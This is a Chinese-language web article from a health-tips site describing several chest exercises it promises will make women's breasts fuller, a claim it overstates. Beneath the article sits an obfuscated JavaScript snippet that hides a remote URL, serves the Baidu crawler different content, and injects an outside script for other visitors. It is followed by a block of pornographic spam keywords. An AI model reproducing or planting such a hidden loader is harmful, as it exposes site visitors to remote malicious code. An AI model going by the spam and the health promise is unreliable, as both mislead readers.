當前位置:首頁 > 健康 > 運動健身 > 正文

怎樣健美胸部呢

2017-04-16 10:03:55  來源:360常識網   熱度:
導語:擁有一對豐滿的胸部是很多女人的夢想,這也是女人的傲人資本,不過很多女性朋友的胸部并沒有達到自己想要的罩杯,常常被人家說成是飛機場,

擁有一對豐滿的胸部是很多女人的夢想,這也是女人的傲人資本,不過很多女性朋友的胸部并沒有達到自己想要的罩杯,常常被人家說成是飛機場,感覺到非常的自卑,其實我們生活中是有很多方法能夠豐胸的,只要選對方法,就可以找回自信,那么生活中怎樣健美胸部呢?

牽拉運動:采取站或坐的姿勢,兩臂放于身體內側,緩慢地向兩邊舉起,達到頭、肩之間高度后,再緩慢向前舉,直到兩臂快要相碰時停止;之后兩臂分開,還原并使肌肉放松。如此反復慢移5-8次。

反支撐挺身:坐在椅上,兩臂撐于椅兩側。上體后靠,重心移至手臂,同時兩腿伸直,臀部緊縮向前提髖,抬頭挺胸,使身體成直線,持續5秒鐘,還原。注意自然呼吸,兩臂和身體均伸直。

挺胸運動:跪立,兩臂自然下垂。

上體后移,臀部坐在腳跟上,同時呼氣。兩臂胸前平屈,手背相對,手指觸胸,含胸低頭。然后重心前移,挺髖,上體立起,同時吸氣,兩臂肩側屈(手心,五指張開),抬頭挺胸。反復進行此動作。

俯臥運動:俯撐,雙腳分開與肩寬。上體下壓,兩臂彎曲置體側,使上臂與地面平行,然后吸氣,兩臂用力撐地將肘關節伸直,同時抬頭挺胸,還原成預備姿勢,呼氣。每次盡力重復數次。

仰臥運動:仰臥在床上或長椅上,雙手握啞鈴,兩臂平伸,依靠胸肌收縮力直臂上舉,然后放松還原,每分鐘重復做20-30次。

床上運動:俯臥于床邊,將胸部伸出床外,然后上半身抬起,雙手交替做“劃水”的姿勢。每分鐘10-15次。

以上就是關于健美胸部的一些方法的介紹,相信大家現在應該知道怎樣健美胸部了吧,所以胸小的朋友還在等什么,試一下上面介紹的幾種胸部運動的小方法,只要堅持下來,肯定會讓你的胸部變得豐滿,同時在平時也可以多吃一些對胸部有好處的食物。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
奇米精品一区二区三区在线观看 | 99re5精品视频在线观看| 精品人妻少妇一区二区| 国内精品久久久久影院蜜芽 | 国产精品久久久久久福利| 久久久久久久精品毛万迈巴赫车标| 久久精品人成免费| 99ee6热久久免费精品6| 久久一区二区三区精品| 亚洲AV永久精品爱情岛论坛| 777午夜精品久久av蜜臀| 亚洲精品国产福利一二区| 自拍偷自拍亚洲精品播放| 国产精品国产三级国产AV麻豆 | 精品一久久香蕉国产线看播放| www.精品在线| 水蜜桃精品一二三| 99re这里只有精品国产精品| 国产精品无码一区二区三区电影| 精品人妻少妇一区二区| 久久无码人妻精品一区二区三区| 97精品国产福利一区二区三区| 一本一本久久aa综合精品| 国产精品特级毛片一区二区三区| 国产亚洲精品成人AA片新蒲金 | 久久综合精品视频| 久久的精品99精品66| 久久夜色精品国产噜噜亚洲AV| 久久精品国产2020观看福利| 99精品视频在线在线视频观看| 中文字幕动漫精品专区| 精品久久久中文字幕一区| 国产成人综合日韩精品婷婷九月| 亚洲国产精品成人AV无码久久综合影院| 精品国产香蕉伊思人在线在线亚洲一区二区| 中文字幕精品亚洲无线码一区应用| 久久久精品免费国产四虎| 精品一二三区久久aaa片| 无码人妻精品一二三区免费| 国产精品自产拍在线18禁| 亚洲韩国精品无码一区二区三区|